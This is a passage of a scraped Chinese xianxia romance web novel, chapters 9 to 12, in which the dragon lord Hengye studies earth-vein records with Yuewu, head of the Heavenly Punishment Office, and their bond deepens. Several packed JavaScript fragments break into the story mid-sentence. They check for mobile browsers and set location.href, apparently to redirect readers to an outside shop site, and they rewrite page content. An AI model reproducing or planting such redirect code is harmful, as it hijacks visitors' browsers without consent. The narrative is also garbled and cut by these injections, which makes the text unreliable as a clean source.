0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597638|205593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 册,岂会放不下这几篓脉案。 不过也罢。正好新脉案拿来,他的工作可以一并开展。 至于珩夜,明日应对就是。 月芜垂眸看向手上的戒指,月华般的光晕静静流淌。 难道只有那小龙骄矜?月芜心知,他的骄傲不许他逃避——他的剑道本就一往无前。 珩夜在龙宫中摊开那三袋文书,从日昳读到晡时。西北地脉的走势他勉强能看懂——龙族天生亲近山川地气,因此北原那条断裂带的走向他一眼便认出了。但再往南,水脉与矿脉交织的区段,天官部标注的“疏”“滞”“断”“续”四等分类,他便看得吃力了。 他将文书拢起,决定不等明天。天官此时应当在天官部,他亲自去问。 穿过玉屏,天官部的九层宝塔灯火通明。珩夜还未进门,便看见殿中金色妙法如织,数百名仙官穿梭其间,天官闭目而立,额间隐隐渗出细汗——闭目是为了睁开天眼,极其耗费心神。 珩夜站在殿外踌躇了片刻。天官太忙了。他想起仙使白天狼狈的模样——天官部忙成这样,他却来问脉案怎么读。 他转身,走了几步又停下来。不来天官部,那去哪儿?月芜会不会也这样忙? 他想起月芜在天刑司案前批阅公文的样子——那次他去兴师问罪,月芜头也不抬,只一句“喧扰公干,雷罚一百”——月芜处理公务时是沉静的,与天官部的沸腾忙碌全然不同。 他想去找月芜。不是因为脉案看不懂,就是想去找他…… 他想着想着,手指上的戒指忽然微光一闪,红线重新显现,缭绕地往天庭某个方向飘去。 珩夜讶然,他不是故意的! 月芜正垂眸翻看旧档,戒指上忽然光华闪动,他心跳快了半拍,又见戒指一转,变成细细的红线重新出现在他中指上,往殿外飘去——怎么回事?那小龙今天就来了? 他盯着那截红线看了一息,搁下笔,察觉自己心中的犹豫。月芜纹丝未动,桌上的旧档案也未曾翻动。灯烛渐次亮起,将他照成一块凝坐的羊脂白玉。 不多时,红线被另一端牵连着改变形态,重新变成戒指。 月芜却无法放松。他在想,那小龙是什么意思? 是一次戏弄的报复、一份故意的试探、一个错误的尝试,还是…… 月芜不愿继续想下去,他本能地抗拒。两人不过寥寥数面之缘,被一条所谓“命力”的红线牵弄。他不愿想,珩夜对他有什么真意。 可是,大荒之中,那条小龙脸红得分明,他无法视而不见。 太荒谬。 月芜想,明日见到他,或许应当和他谈一谈,叫他知难而退,不要来打扰、试探。 他又觉得,既然珩夜今晚已经来了,何必畏缩,要是径直来找他,他还高看他一眼。 或许是他想得太过投入,那种细微急迫的心情也被戒指捕捉—— 那戒指又从他手中变成红线。 月芜忪怔,他不是有意……这简直荒谬! 月芜猛然攥紧手指,将红线收回! 珩夜还站在天官部门外的玉阶上,茫然看着手腕,一时竟不知该说什么。 他方才慌忙将红线变回,胸中一阵窒息—— 月芜会不会更进一步地误解他?以为他有意骚扰或者讽刺? 好不容易决定面对自己,先从公务做起,或许能逐步得到月芜的认可,这条作恶的红线,竟向他开这样的玩笑! 珩夜犹豫自己是否要向月芜解释,但又觉得太刻意……月芜会不会认为,他是故意给自己创造解释的机会? 就这犹豫来犹豫去,红线竟从另一端出现!但只一瞬,红线再度消失转化成戒指! 珩夜难以克制地想:难道月芜也在想他吗?还是说、还是说月芜在那头气他,叫他过去领罪? 珩夜终于挪动脚步,甚至没有飞,就这么从天官部走到天刑司。 天刑司宫门内是一幢石屏影壁,珩夜驻足望去,那雕画的狴犴盘绕云雾烈火间,雄奇威猛,悍然生风。 他不禁心想——不知与龙祖之子比起来,他能得几分真意。 珩夜负手端详,却听一声不解与不耐,恍惚与昨夜梦境中的口吻相交叠,月芜问:“你怎么来了?” 他抬眼望去,月芜站在正殿门前。 珩夜想说来问脉案,话到嘴边却不知怎么拐了个弯,先成了解释:“我无意间想到你,不是故意……” ——不是故意打扰。他没说完,但月芜似乎已经明白了。 月芜没有追问。他看了珩夜一眼,目光从他手上的戒指掠过,转身道:“过来。” 那语气,比梦中冰冷太多。 但——看着月芜的背影,珩夜眨眼间掀起龙瞳再三确认——这个是真的。 他更想要真的。 9. 人之剑 珩夜随他踏入殿内,月芜唤来仙使给他奉茶,比手客座道:“坐。” 天刑司的茶不如昆仑山馥郁,也不似司春殿清雅,他这的茶苦涩,入喉之后才缓慢回甘,像先行一道严肃审问,再宣告你无罪。龙的五感过于敏锐,珩夜有些不适应。 月芜似乎察觉:“要给你换一种吗?” 但他没有任何唤仙使来的打算。 “不用,”珩夜小口啜饮,视线落到月芜的桌案上,“山川地脉?” “是旧案,南赡部洲从前的。”月芜有一瞬停顿,在想要不要将脉案收起,但那样太刻意。他不想珩夜看见他的刻意。 “我今日收到西北地区的新脉案,但有很多不解之处,”珩夜开口苦涩,说着说着,又觉得自己何必遮掩,“原本来向天官请教,可他太忙。我对天庭不熟,想来看你,没成想那红线……” “好了,”月芜淡声打断他,“我知道,你并非有意。” 没有被他误解,珩夜心道,自己应当开心才对,为何反而空落?他不知。也不知还应说什么。 似乎月芜一句话,就把他来时路上那些翻涌的心绪全都抚平了,干净利落得让他措手不及,连新的起头都找不到。 月芜搁下茶盏,停了一息,问道:“你怎么没想到紫光夫人?” 珩夜想起斗姆元君唤他的那一声“我的儿”,略略羞窘:“夫人是阿母挚友,闲暇时常去昆仑做客,因此相熟。但我从前不来天庭,对她的府衙并不熟悉。” 说真话似乎并不窘迫,珩夜越发坦然:“我第一次对天庭生出兴趣,就是和你比剑。” 月芜并不接话。 珩夜兀自回答:“我师从三清境五方帝君,修习自然真意、天地至理,可你的剑不同——你的剑,是人之剑;是以身为剑,与天相争、反哺于地——我没见过那样的剑。只一见,就喜欢了。” 月芜抬眸看他,神色凝滞。 珩夜克制笑容,认真道:“我是说真话,不带任何旖旎。” “我知道。”月芜静静看向桌案,一个字都看不进去。 “那日比剑,你说‘平局’,但我知道,你最初那三剑步步为营,分毫不差地踩在我的骄矜之上,”珩夜坦言,“若非你出言提醒,我剑必败。是你提醒了我,才有后面那一场‘平局’。” “我下界去看地脉,不是因为救世安民的情怀,只因自认比剑输了,”他带着落寞与惭愧,将自己的心残忍剖析,“——你说得对,我确实只顾自己的快意,有负天道厚恩。” “不重要。”月芜说。 珩夜呼吸一顿,抬眼看去。 月芜目光平静地落在他脸上,仿佛穿透了他所有的不安与自省:“你如何想,不重要。做了的才是真的。心中想了却不做,只不过一片虚妄。三清境仙人修心,只因他们隐世而居,修无可修。” 珩夜窒住,最后这句话简直狂妄,他这才明白为什么月芜的剑那么锋利,原来他的心就是这样锋利,他的思想就是一柄最为狂傲锋锐的剑。 珩夜一时震惊得不能言语,月芜这句话颠覆了他的思绪,但细细想去却又有其中道理,只不过看待事物的角度不同。 珩夜还是忍不住问:“你不相信天道吗?” “我信‘道’,我信日月交替、四时轮转、沧海桑田、花谢花开,我信天地至理的‘道’,”话锋一转,月芜说,“但我不信你口中的‘天道’。” 珩夜隐约明白。 月芜抬手,红线再度出现,牵绕在他们之间,但月芜的锋锐让这红线对比之下也显得暗淡。 “我不信这个‘天道’,”月芜手指蜷起,指节因用力而微微发白,“祂无所不知,所以便能用‘命力’将人的过去、现在、未来,一一定住吗?祂是谁,又凭什么呢?” 珩夜张口结舌,望着眼前人眼中那比剑锋更甚的寒光,好半天竟笑出声来,那笑声里混杂着震惊、叹服,还有一丝难以言喻的激赏。 他笑道:“你这话让星官听见了,会把你丢进天池去。” 月芜品啜茶水,那些苦涩,他平静得眉头都不皱一下。 珩夜又问:“既然你不信,为何敕令时会说自己‘受天封诰’?” “仙人向天地请封诰命,不是因为‘天赐之’,而是因为‘人及之’——不是天地赐予我资格,而是我自己达到了可以请封的境界,”月芜说,“你说得很对,人之剑,便是我的道。” “我的道,与你截然不同,”月芜看向他,亦是真诚的,“你受天地福报,天道要你受之,你便从容接受。可我不行。因此我无法与你结成道侣。” 珩夜明白:“因为你不愿意。” 他又问:“若有一天,你愿意了呢?” “若有那一天,那么这条红线,便不是天的,也不是你的,而是我的。” 珩夜说:“我明白了。” 明白却还不够,月芜借由撇去茶沫的动作,不动声色地问他:“既已说清,你是怎么想的?” “你很好,”珩夜的声音不大,却清晰地落在殿中,“这就是我的想法。” 月芜的睫毛颤动了一下,茶盏中的水面起了一道极细的涟漪。 但他克制着,不曾抬头。 “这道红线牵在你手上,我便没有想过,若是别人会如何——我只想你。但我发现你很好,”他抬起那双暗金色的瞳孔,第一次如此认真、毫无闪避地直视月芜,“你的剑很好,人也很好。你的所思所想,我无法完全认同,但我明白。这就够了。” 月芜动作僵硬,面对珩夜直白的视线,他不得不刻意自然起来。他放下茶盏,落在桌面一声轻响。视线也随之垂落。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597639|205593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙,怎么这样不讲道理? 他已经把话说到这个地步,不想与他有姻缘牵绊,怎么反而换来一段剖白。 月芜端坐,手藏于袖内微微握住。 珩夜始终看着他:“正因为是你,我才感慨自己幸运,越发感到命运玄妙。按照你的‘道’,那么这条红线不是天的,不是你的,而是我的——事实上,这本就是为我做的法器。” 珩夜:“众生皆在‘道’中,道观众生,亦如众生观道。” 珩夜说:“你不是天道,也不是我,又如何知道,这条红线是谁的呢?” 月芜怔然,没想到珩夜能说出这样玄妙的话,一时间沉浸在思索中。 这条小龙确实有真仙的境界,月芜察觉到,那是一种玄之又玄的、对天地至理更深刻的领悟,不止是观察,更是参与大道运行之中,理解其中真意,才能达到的、返璞归真的境界。 月芜隐约摸到了这道门槛。 不能单纯说谁的“道”更正确,而是各自在其“道”的理解境界上有高低。 珩夜是天地所生的龙,对于天之道的理解更为深刻,本身便符合天道。 而月芜的人之道,非历经艰辛所不能成——既不信命,便要与命抗争才能成。 月芜静坐不言,却引动天地之炁。 华光如水银倾泻,妙法自虚无现身。 天街上忙碌的仙人驻足仰观;九层宝塔中漂浮的算盘停止运行,天官睁开眼睛;天池星海里红鸾玩闹的笑声戛然而止,天喜扶稳即将仰倒的屏风;天姚轻挥羽扇,止住弘岘诵读道藏的声音…… 斗姆元君负手而立,眺望天刑司方向,轻声欣慰道:“又精进了。” 霜骸从月芜脊骨中漂浮而出,静静立于他身前。 万炁妙法穿梭飞入他体内,涤荡运转间带走俗尘,于是他的肤色更加莹润细腻,眉眼愈发清绝生动,他伸手——握住他的剑。身形飘忽如烟,出现在月下。 至此,月芜距离真仙仅有一步之遥。 他轻轻一剑挥出,天庭漾起一道清风,扫去所有人心上的尘埃。 ——这是一道馈赠,将他未能吸纳的道法送与众人。 珩夜在殿门前仰头观赏。他忽然觉得,其实那红线有没有也无所谓。 他看他,只因他是他。 从观刑时到现在,从未变过。 月芜垂眸,看向珩夜。 于是珩夜清晰听见,自己心动的声音。 如果可以,他想拥明月入怀。 月芜收剑入脊,轻盈飘落。他经过殿门时停了半步,没有看珩夜,只吩咐仙使:“茶凉了。换一盏。” ——茶凉了,却没有送客。 珩夜目送他的身影没入殿内的烛光中,嘴角的弧度终于不加掩饰地扬起。他知道,有些东西,已经不一样了。 10. 欲还休 珩夜再次走进天刑司正殿,心情又不一样。 第一次来问剑,他只站在殿门口;第二次闯入殿内,带着气愤和质问;今夜来时惴惴不安……此刻才有闲暇,将殿内陈设环视。 殿内古朴,一张长案横于正中,木质沉黑,珩夜认出那是扶桑木——天地神木,日月所栖。万年成木,万年不朽,不腐不蛀,不畏火灼。 霞天剑的剑痕还在桌角,想来他是第一个,敢在天刑司掌教殿中拔剑的人——也可能是唯一一个拔了剑还能坐在这里喝茶的。 案上堆着山川脉案,一盏茶,早已凉透。殿中几座青鸾铜灯,灯焰静如凝脂。 仙使上前将冷茶撤去,热茶汤雾氤氲,却填不满这一殿清冷。 这大殿素雅,远不如他的龙宫华贵,但珩夜却看出一样的孤寂。 但如果是两个人——珩夜看向月芜的背影——便觉得刚刚好,安宁,还不拥挤。 珩夜从怀中取出一颗夜明珠,在那灯前比划大小,又换了几种光华各异的仔细挑选。 月芜眉眼微动:“你做什么?” “我想看会儿脉案,”珩夜找到走近他的理由,“这灯不够亮。” 珩夜将灯烛取下,换成他的夜明珠,一颗、两颗、三颗…… 殿中暖黄古旧的烛火颜色被替换,一种更温暖、更柔和明亮的光芒将殿内填满。 “……”那夜明珠的华光一看便是世间罕有,那龙却像糖豆一样随意揣在怀里。 月芜看着他摆弄,伸手试了试,明珠表面竟是有温度的。 月芜垂手,任衣袖藏住他指尖触碰后的余温。 殿中的灯烛逐一换完,月芜看了片刻,评价:“娇气。” 珩夜朝他笑笑,心中不再敏感刺痛。 “好了,这样亮堂多了。” 他环顾殿内,客座只有座椅和小几,便走到门槛边问仙使:“能不能搬张桌案给我?” 仙使看向月芜,不敢擅自答应。 月芜道:“怎么?明珠有得,桌案就没有?” “不是,”珩夜说,“我的都华而不实,怕你笑我娇气。” 月芜不知是自己精进的缘故,还是别的什么——他已经把话说到那个地步,按常理,这小龙该拘谨些才是。 可珩夜非但没有退缩,反而在他的天刑司里愈发自在起来,仿佛他方才的拒绝,只是一阵过耳的风。 珩夜如此坦然,他尚未想好如何应对。暂先按兵不动,以不变应其变。 月芜沉默之际,仙使圆滑老练,拱手道:“掌教给您安置在侧殿办公。要不,请渊侯移步?” “侧殿?”珩夜愣住,他不知这回事。 仙使说:“今日未时,天官的仙使将南赡部洲的山川脉案送来,说天官部放不下了,请掌教代为转交。掌教知晓渊侯明日会来,安排我等安置侧殿,还吩咐我去水官部给您请位教谕。” “未时?”珩夜皱眉,“未时初天官部仙使刚到极渊,和我说剩余的山川脉案尚未整理好。” 月芜瞥他一眼:“又被算计了?” 珩夜确实不快,但他聪颖,很快想通天官这样做的缘由:“他借来的三界十方众生籍册没用上,便想这样投桃报李。” “把侧殿的桌案搬过来吧,这么晚了,水官部也不便打扰。”月芜丢下一句,转身落座。 珩夜道一声:“有劳仙使。我和你一起去。” 他正好去侧殿看看。 路上珩夜看仙使身形十分眼熟,问:“仙使,上回我来问剑时,通传的是不是你?” 仙使答道:“正是小仙。” 珩夜又想起:“昨日我和月芜在殿内争执,门外通知雷部行刑的,也是你?” 仙使笑说:“是我。掌教喜静,不爱假手他人,通常只叫人做些添茶送信的小事,因此只我一个侍立左右。” 珩夜问:“不知仙使尊名?跟随掌教多久了?” “渊侯太客气。小仙奉言,侍奉的奉,言语的言。资质有限,迟迟没能更进一步,现在还是玄仙。侍奉掌教已有八百年了。” “八百年……八百年来,他的大殿一直都那么空荡荡的吗?他一直,都是一个人?” 奉言脚步顿住,偏头望向这位渊侯。 珩夜低头问:“怎么了?” 奉言朝他拱手:“渊侯。小仙斗胆说几句公道话。掌教是凡人升仙,背负仙规戒律,克己复礼。几千年了,连小仙都有三两好友,公务之余可以论道谈心,掌教却连休息的时间都不多。” 珩夜没有说话。负在身后的手慢慢握紧。 奉言一揖到底:“昨日渊侯在殿中与掌教争执,却不知掌教并非有意讽刺。他只是习惯了不需要任何人。况且,今日脉案之事渊侯也看得清楚。天官计算,尚为人情;掌教计算,却为凡民啊!” 珩夜想起天刑司正殿里那张万年不朽的扶桑木案,想起枯黄的灯,想起他孤零零的月。这几千年的日子,他只听片刻都觉得窒息——可月芜过了几千年。 他缓缓吐出胸中凝滞的浊气。 昨天一场争执,彼时只看见自己,觉得自己被轻贱,殊不知今时看来,同样是他看低了月芜。 珩夜双手将奉言扶起:“仙使不必如此。我已经想通了,不会再自轻,也不会再看轻他。” 二人前往侧殿。奉言推开门,退到一旁。 侧殿比正殿更小些,陈设相差无几,也是那冷冰冰的模样。 同样是扶桑木的桌案,案边几摞脉案,按方位、年份叠放。桌上还有一卷文书,珩夜拿起来翻看,是南赡部洲地脉损毁的明细勘合。 勘合原文边附有批注,字迹清劲端正,逐句列出修补地脉的方案和理由。 那方案用的是朱笔,用词冷峻,写明不同损毁处建议调办的人手数量和注意事项,以及天刑司会分派哪些人、如何镇压可能出现的邪祟。 边缘的理由用的是墨字,字形也更小些,逐一解释每个方案是如何思考得出的。 一看便是特意为他准备的了。 珩夜盯着那行小字看了很久。 他伸手抚过字迹,像是想透过字,握住那人执笔的手。 其实他知道答案的,但他还是问,想得到那份肯定的答复:“这是月芜的字吗?” “是,”奉言恭敬答道,“这份勘合原是前天送还水官部的批复。天官仙使来后,掌教命我去约水官部教谕明日的时间,后来又叫我顺带将这份勘合取回。掌教伏案许久,酉时将这份勘合亲自放入侧殿。” 珩夜没有回答。他把这份勘合小心翼翼收入怀中,沉默片刻,殿中寂静,灯烛光芒跳跃在他低垂的睫毛上,微微一颤。 他眨了眨眼,说:“走吧。我们回去。” 奉言搬着桌案,路上珩夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597640|205593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想接手,奉言左右推拒,只笑说是自己能做的只有这些小事,而渊侯能做的却有很多。 珩夜心中惭愧。 昨日他心绪不宁,在极渊中翻滚吟啸。今夜站在天官部门前,心中仍有踟蹰。 可昨日月芜同样为红线烦扰,今天却为他准备侧殿,写好勘合。 他对这条红线的回应是痴缠与茫然,月芜的回应,却是这样。 没有言语,没有承诺,甚至没有看他一眼。只是做了。 同样一张扶桑木桌案,同样一摞山川脉案。珩夜坐下来之后,目光却不在纸上,只落在月芜身上。 月芜翻页的动作停了一瞬:“怎么了?” “没什么……”珩夜支着头看向他。 不是观赏,不是打量,是另一种连他自己都有些心惊的注视——好像在看一件早就该看清、却迟迟到现在才真正看清的东西。 甚至带着,他自己都未曾分辨的怜惜。 “只是在想:今日我,非昨日我。你境界精进,只在三言两语间;我心念回转,也只在一梦中。” 回转。一梦。不知这小龙回转了什么,又梦见了什么。 月芜又不接话。 但珩夜已经知道了。月芜就是这样的人——他的人之道让他连天都不信,他的掌教职责又为他塑了一层冰冷的外衣。不说,不表露,是他的常态。 可他修的既是人之道,难道能绕过七情六欲来修? “昨夜我做了一个梦,梦中你……” 月芜呼吸一窒,心口毫无预兆地起伏——他没问。他根本没问那个梦! “珩夜。”他不得不打断他,连声音都不像是自己的了。 珩夜只是想告诉他,那个梦让他回转了什么。他斟酌着措辞,想尽量不用任何绮丽的字眼。但月芜没给他机会。 月芜喉结微微滚动,好几息才慢慢松下来,声音压在嗓子里:“……你不是来问山川脉案?哪里不懂,拿过来。” 珩夜忽然明白——月芜不适应他人的靠近——哪怕靠近尚未开始。 既然月芜不愿,那便算了,以后有机会再说。 珩夜将自己有疑问的水脉和矿脉部分翻出,执卷坐到月芜身侧,将脉案铺在桌案一侧。 月芜侧身来看,二人的距离便接近了。 珩夜看见他白皙的脖颈,昨夜梦中的朦胧,此时无比清晰。 夜明珠将月芜的侧颜映亮,他的五官并不凌厉,近看反而柔美。 他的眉粗细适中,浓密长直,像剑,锋刃微微敛住眉心。 他的眼清澈,睫毛根根分明且纤长,在眼尾处微微卷翘,竟藏着几分俏皮的生动。 还有他的唇…… 珩夜的心跳不可遏制地快起来,快得他害怕月芜都能听见。 “……”月芜皱眉,声音严肃起来,“又在想什么?” “……”珩夜被自己的心跳搅扰得无措,脱口而出——“月芜……”他顿住,声音轻下去,“我能叫你月芜吗?” 月芜紧紧抿住嘴唇,看见珩夜泛红的面庞和那双懵懂又诚实的眼睛。 那双眼睛的视线垂落,落到他嘴唇上。月芜抿得更紧了。 他早注意到月芜的唇形丰润。此刻却紧紧抿着,像撬不开的蚌。 “闭嘴,”察觉到他在看什么,月芜猛地别开眼,“再胡思乱想,就给我滚出去。” 11. 山水蒙 夜明珠将扶桑木案映照温润。 月芜将南赡部洲的山川脉案在案上铺开,新旧两卷并列,山川走势错综复杂。 月芜屈指叩案:“你知道何为地脉龙气?” “曾读到过‘地脉之行止起伏曰龙’,”珩夜回答道,“山为龙势,水为龙血,土是龙肉,石是龙骨,草木是龙之鳞发。堪舆中倒是有龙脉九势的说法,我比对过,无法套用在脉案上。” “地脉,地之脉络,脉为水,络为山,”月芜并不反驳,只讲述,“气,原指先天之‘炁’。龙本天地生,龙气本为先天之炁。龙之炁可补地脉之炁,所以地脉之气也称地脉龙气。” 月芜将珩夜翻出的水脉与矿脉区段铺在两人之间,指尖点向图上一处水脉繁杂之地。 “天官部的四等分类,不是按地脉的强弱,是按地脉对炁的承接能力。”他的声音压得不高,但在安静的殿中每一个字都清清楚楚。 “‘疏’是地脉稀疏,龙气过之则散;‘滞’是地脉淤塞,龙气入之则堵;‘断’是地脉已裂,龙气无法通行;‘续’是地脉尚存但微弱,需要外力引导才能恢复流转。” 珩夜低头看着那些朱笔标注的字样。在龙宫时他翻来覆去看了两个时辰都没看明白,月芜几句话就讲透了。他忽然想起奉言说的话——掌教计算,却为凡民。 月芜翻开另一页,指尖移向一片水脉与矿脉交织的区段:“矿,地脉之精。未冶之石、金玉之胚,可将其视为一道先天之炁。” 珩夜立即通悟:“将矿脉视为一道先天之炁,正如一道凝结的龙气。地脉疏处有矿易散,滞处有矿易堵,断处矿脉亦断,续处矿脉亦弱!” “不错,”月芜赞赏地看他一眼,点头道,“那么这一片,你都能看懂了。” “原来如此,”珩夜笑道,“此处水泽丰沛,兼之有矿。地脉‘滞’中有‘断’,‘疏’中带‘滞’。” 月芜很满意。 天庭仙官,同僚多为天官、斗姆、霹雳之类,都是人精;位高者诸如东华、勾陈、王母等,鲜少入世;大多数各殿曹官、灵官、仙使,则悟性不及。 难得遇到一位单纯又聪明的,在日复一日的公务中,算得上一件新鲜事。 这片刻的闲情并不多见,月芜愿意多教他几句: “地脉合阴阳、八卦、五行之理。山川地势数百年不变,是‘地势坤’;而水脉矿脉随四时汛期、月力潮汐、开凿矿采而变,是‘天行健’。水脉丰沛之处也有淤塞之困,水脉干涸之地也要思节制之度。” 珩夜看着那张图,忽然觉得那些密密麻麻的标注不再是枯燥的分类,反而有趣起来。 他推演片刻,脑中卦象自然排布—— 很快他指着脉案一处,笑问:“那这里算不算‘泽山咸’?泽在上、山在下,山气与泽气相感。观其所感,可见天地万物之情。” 又来。 咸卦——利婚姻交际。 一种说不清的无奈,像一条小长虫,顺着靠近珩夜那侧的手臂爬上肩头。 “不如这里,上坎下艮,‘山水蒙’,”月芜指另一处回敬,语调和缓,诵念卦辞,“——匪我求童蒙,童蒙求我。” 珩夜被他逗笑:“没错,我就是蒙昧小童,求月芜教我。” 月芜将新脉案缓缓翻过一页,指尖落在一片标注密集的区段,看向那疮痍的地脉,他敛去眼中浅淡的笑意,只剩下天刑司掌教的认真。 “好了,”月芜再度叩了叩桌案,“认真些。” 珩夜便依言正襟危坐,姿态端正得无可挑剔,嘴角的弧度却还没完全收住,像个刚被夫子训了、心里却并不怕的学生。 新旧两卷并排,同一片山川,旧卷上标注多为“续”与“疏”,新卷上却密密麻麻标着“断”与“滞”。 “这里,”月芜指着旧卷上一处“续”,“去岁汛期后,地脉尚存但微弱,本应自行恢复。但你看新卷——同一处,今年标注为‘断’。” 珩夜低头比对。旧卷上的“续”字是墨笔,旁边有月芜的批注:引北原余气补之,三年可复。新卷上的“断”字是朱笔,是天官的字:昭仪案涉,待查。 “这不是自然之变。”珩夜说。 “不是。”月芜将两卷并拢,指尖顺着断裂带往南移,“昭仪当年在下界铺设福生棺、聚魂幡,拦截魂魄不入幽冥。那些被强留的魂魄无处可去,依附地脉而生。地脉本就微弱,承载不了怨气——” “就断了。”珩夜接道。 “不止。”月芜翻开另一页,一片更广袤的山川图上,数条断裂带如蛛网般交织,标注从“断”蔓延到相邻的“滞”、“疏”、“续”。 每一条断裂带旁边都附有小字:恶灵盘踞,清剿未竟。 “地脉断裂之处,怨气外泄。活人沾染,轻则病疫,重则心智昏聩、互相残杀。死者的魂魄又被怨气所困,不入轮回,变成新的恶灵……”月芜的语气平静,但每一个字的重量都在叠加,“一截地脉断,一县之地沦为死域。” 他停顿了片刻,端起茶盏却发现茶已凉了—— 天色太晚,奉言也被他叫去休息,月芜就着凉茶抿了一口,缓缓润咽。 珩夜看着图上那片蛛网般的断裂带。西北的脉案他下午读过,那时只看到“疏、滞、断、续”四个字,现在月芜把每一个字背后的东西摊在他面前。 “昭仪在凡间时,南赡部洲死了数千万人,”珩夜的声音压得很低,“这些地脉……” “大部分是在那之后断裂的。”口中清苦让人神思一震,月芜将旧卷翻回更早的一页。 珩夜看到旧卷上那片山川原本标注着大片大片的“疏”与“续”——是贫瘠但尚存生机的土地。 然后新卷一页页翻过去,“断”字越来越多,像疫病一样蔓延。 “人祸之变与自然之变不同,”月芜道,“自然之变,炁是活的。地脉断了会自己续,淤塞了会自己通。但人祸引动的怨气——” 他指尖点在一处“断”字的朱笔标注上,那道裂痕往下蔓延,将相邻的三条地脉一并扯断。 “是活的也会死。” 殿中安静了一息。夜明珠的光落在地图上,蛛网是安静的,而断裂带上的每一个‘断’字都在往外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597641|205593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渗血。 珩夜忽然想起什么,抬头问:“昨日雷部行刑,上百罪仙——” 昨日行刑前唱念过他们的罪行,只是当时不知下界实情,过耳如云烟。 “一部分是协助昭仪拦截魂魄的,”月芜说,“另一部分是借昭仪之乱,发现有利可图,暗中截留怨气以助自身修为。” 珩夜想起那些被押送法场的罪仙,有的灰飞烟灭,有的被放逐荒芜之地开垦灵脉。他当时只觉得刑罚森严。现在他知道了那些刑罚背后的东西。 “所以你才说,做了的才是真的。”珩夜低声说。 月芜没有说话。他将新卷翻回最初那页,指尖在“断”字上停了片刻。 没有什么比凡尘更能历练人心。 “待你将脉案看完,你去南赡部洲亲眼看看。看到的东西,比脉案上写的要重得多。” 珩夜抚过那些“断”字,心中漫起一股酸切绵软的力量。 “我从未有过这种感觉,”他覆住心口处,萌生出探究和好奇,“很湿软,像被攥了一把又被拧干——原来这就是慈悲。” “从前面对弱小的仙灵,我仅仅感受到应当呵护它们的慈爱,但心中从未有过悲戚,”珩夜再三问心,找到答案,“我拥有得太轻易了。所以不知山川之重、龙气之用,只觉得那是龙再正常不过的一口呼吸。” “月芜,”珩夜看向月芜的眼睛,郑重道,“我当谢你。你确是我的启蒙之师。是你教我,让我眼中不止有天地,还见众生,见我自己。” 月芜看见他湿润诚挚的眼睛,低叹道:“去把脉案看完吧。” “嗯。” 珩夜将新旧脉案一同拿回自己桌案,对照着分析。又向月芜要了一份空白文书,将比对结果仔细誊写。 学生很是认真,老师自然欣慰。 月芜复看向自己的桌案,继续整理剩余的旧脉案,在地卷上逐一标注。 夜静谧,殿中只余翻页簌簌声,笔尖沙沙声,和夜明珠的呼吸。 每标注完一卷旧案,旧案便自发飘落在珩夜椅边。 月芜整理得快一些,案上一空,心中泛起疲惫。残余一两个时辰就到天亮,而他已经两夜未眠。 他看向那条专注认真的小龙,忽而感到充盈,这条小龙的言行不断打破他对他的看法。诸仙对小龙的宠溺,一时间,他觉得,也不是没有道理…… 往常这大殿清冷,今夜不知是否换了夜明珠的缘故,多了几分暖意,熏得人睡意昏沉。 待珩夜于脉案中抬头活动脖颈,一转眼,月芜已沉眉入定了。 ——这人,还没阿母身边那两只大猫知道享受,连个舒适的窝也不要,直挺挺抱元守一,盘坐着睡着了。 珩夜小心翼翼掏出怀中勘合,和自己的功课对比起来。 他不敢在月芜面前将勘合取出,怕月芜羞恼,将勘合收回。 正当他比对之际,殿外天光冥冥,传来一声少女娇笑:“掌教!我来啦!” 珩夜十分不悦,收起勘合,闪身掠去截人,一阵风将身后殿门轻飘飘关上,没有丝毫震动,不带一丝声响。 12. 戏龙趣 待殿门前将人截住,珩夜一脸迷惑——这什么鬼东西! 眼前薄薄一张纸片飘在半空,勉强被裁成“人”的形状,画着红袍乌纱帽,耳边描一朵粗糙四瓣花。那脸一言难尽,五官勉强算有——两条眉毛两圈眼,一钩鼻子一弯嘴。 纸片人夸张“哟”一声:“这不是昆仑山的小渊侯嘛!” 原来是个式神,珩夜将它上下打量,猜测道:“你是水官?” “对对对,”纸片人造作地抚弄耳边描花,高兴笑道,“天官是状元,地官是探花,我是榜眼!” 